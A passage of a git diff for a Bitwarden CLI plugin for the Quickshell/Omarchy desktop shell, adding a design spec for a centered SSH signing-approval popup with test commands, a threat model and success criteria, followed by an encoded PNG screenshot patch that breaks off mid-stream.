setup, and opting out stops the companion + immediately. + +## References + +- [Bitwarden Desktop native SSH agent source](https://github.com/bitwarden/clients/blob/main/apps/desktop/desktop_native/core/src/ssh_agent/mod.rs) +- [Deprecated `bitwarden-russh` repository](https://github.com/bitwarden/bitwarden-russh) +- [Bitwarden SSH agent behavior](https://bitwarden.com/help/ssh-agent/) +- [Bitwarden CLI reference](https://bitwarden.com/help/cli/) +- [Bitwarden CLI vault command implementation](https://github.com/bitwarden/clients/blob/main/apps/cli/src/vault.program.ts) +- [Quickshell `Process` supervision and stdio](https://quickshell.org/docs/v0.3.0/types/Quickshell.Io/Process/) +- [Omarchy UWSM environment defaults](https://github.com/basecamp/omarchy/blob/quattro/default/uwsm/env.d/10-omarchy) +- [UWSM environment and shell-profile guidance](https://github.com/Vladimir-csp/uwsm/blob/master/README.md#4-environments-and-shell-profile) +- [SSH Agent Protocol, RFC 9987](https://www.rfc-editor.org/rfc/rfc9987.html) +- [RustCrypto SSH crates](https://github.com/RustCrypto/SSH) +- [GitHub artifact attestations](https://docs.github.com/en/actions/concepts/security/artifact-attestations) +- [GitHub Actions secure-use guidance](https://docs.github.com/en/actions/reference/security/secure-use) +- [Cargo deterministic lockfile options](https://doc.rust-lang.org/cargo/commands/cargo.html#manifest-options) +- [RustSec audit tooling](https://rustsec.org/) diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/docs/ideas/ssh-approval-popup.md b/plugins/io.github.elevate08.qs-bitwarden-cli/docs/ideas/ssh-approval-popup.md new file mode 100644 index 0000000..4324ee7 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/docs/ideas/ssh-approval-popup.md @@ -0,0 +1,115 @@ +# Spec: Centered SSH Approval Popup + +Status: implementation approved by the feature request + +## Objective + +Add an opt-in SSH authorization surface that appears in the center of the +active bar output instead of opening the Bitwarden panel. A locked vault first +shows a clear unlock-required state and the configured unlock controls; after +unlocking, the same transient surface changes to the existing SSH signing +approval. The surface disappears as soon as the request is answered, +cancelled, or expires. + +## Tech Stack + +- QML/Qt 6 with Quickshell 0.3.1 and Omarchy 4.0.2. +- The existing `Panel` root remains the owner of vault, SSH-helper, request, + deadline, cooldown, and unlock state. +- A Quickshell `PanelWindow` on the Wayland overlay layer presents the centered + surface on the bar widget's output. +- No new dependency or helper protocol message is introduced. + +## Commands + +```bash +node tests/ssh-agent-setup.test.js +node tests/ssh-agent-ui.test.js +for test_file in tests/*.test.js; do node "$test_file" || exit 1; done +env -u DISPLAY -u WAYLAND_DISPLAY -u QT_QPA_PLATFORMTHEME \ + QT_QPA_PLATFORM=offscreen /usr/lib/qt6/bin/qmltestrunner -input tests/qml +mkdir -p /tmp/qs-imports +ln -sfn /usr/share/omarchy/shell /tmp/qs-imports/qs +/usr/lib/qt6/bin/qmllint -I /tmp/qs-imports Panel.qml SshApprovalPopup.qml SshApprovalScreen.qml SshUnlockScreen.qml +omarchy plugin validate . +``` + +## Project Structure + +- `Panel.qml`: owns request routing, vault state, unlock actions, and setting + values. +- `SshApprovalPopup.qml`: owns only the centered window, focus, and dismissal. +- `SshApprovalScreen.qml`: reusable authorization content for panel and popup. +- `SshUnlockScreen.qml`: popup unlock-required status and unlock controls. +- `BitwardenModel.js` / `manifest.json`: setting contract and safe default. +- `tests/`: static integration and pure model tests; `tests/qml/`: QML tests. + +## Code Style + +Keep presentation declarative and authorization imperative in `Panel.qml`: + +```qml +SshApprovalPopup { + panel: root + anchorItem: button +} +``` + +All request-derived text uses `Text.PlainText`. Use Omarchy spacing, color, +border, typography, input, and button components rather than custom values. + +## Testing Strategy + +- Add failing contract tests for the new setting in both manifest and model. +- Add failing wiring tests proving popup mode does not call `root.open()`, the + legacy mode still does, and unlock transitions reuse the same pending + request. +- Lint every new QML component against the installed Omarchy imports. +- Run the full JavaScript and QML suites before handoff. +- Runtime acceptance requires an enabled development plugin, a locked vault, + and a real SSH signing request; no real credentials belong in tests or logs. + +## Boundaries + +- Always: keep the setting false by default; deny on Escape, outside click, + cancellation, and timeout; render request metadata as plain text; clear + transient unlock input when the popup closes. +- Ask first: changing helper authorization, request deadlines, cooldown rules, + credential storage, or the SSH control protocol. +- Never: put session tokens, passwords, private keys, payloads, or signatures + in popup-local persistent state, command arguments, logs, or fixtures. + +## Threat Model + +- Request key/process labels cross from a same-UID client through the helper + and are untrusted display data. Plain-text rendering prevents markup from + becoming UI. +- The overlay is presentation, not an authorization boundary. Existing helper + request IDs, epochs, deadlines, peer checks, and final authorization checks + remain authoritative. +- The desktop lock-state gate remains ahead of both panel and popup prompts. +- The master password and recovered PIN/fingerprint password continue through + the existing bounded private-FIFO path and are scrubbed by existing process + cleanup. +- A popup must never approve from a bare Enter key; denial is the default + focused action. + +## Success Criteria + +- `sshAgentApprovalPopup` is a boolean setting, disabled by default. +- With it disabled, SSH unlock and approval requests behave exactly as before. +- With it enabled, an SSH request does not open or navigate the anchored panel. +- A locked vault shows why it must be unlocked and offers configured PIN, + fingerprint, and master-password paths without duplicating auth logic. +- A successful unlock changes the same centered surface to the signing prompt, + including key, fingerprint, requesting program, deadline, and grant option. +- Deny, approve, cancellation, timeout, and outside click remove the surface; + a panel the user already opened remains where it was. +- The centered window uses the bar widget's output, stays within the output at + narrow sizes, follows the Omarchy theme, and is fully keyboard operable. + +## Open Questions + +None for implementation. Full account login remains a panel workflow; the +popup is intentionally limited to a signed-in but locked vault and SSH signing +authorization. diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/docs/screenshots/01-vault-list.png b/plugins/io.github.elevate08.qs-bitwarden-cli/docs/screenshots/01-vault-list.png new file mode 100644 index 0000000000000000000000000000000000000000..fee5e4ed0ad99e0ad3fed22e0d7ffb8def9feea9 GIT binary patch literal 77727 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 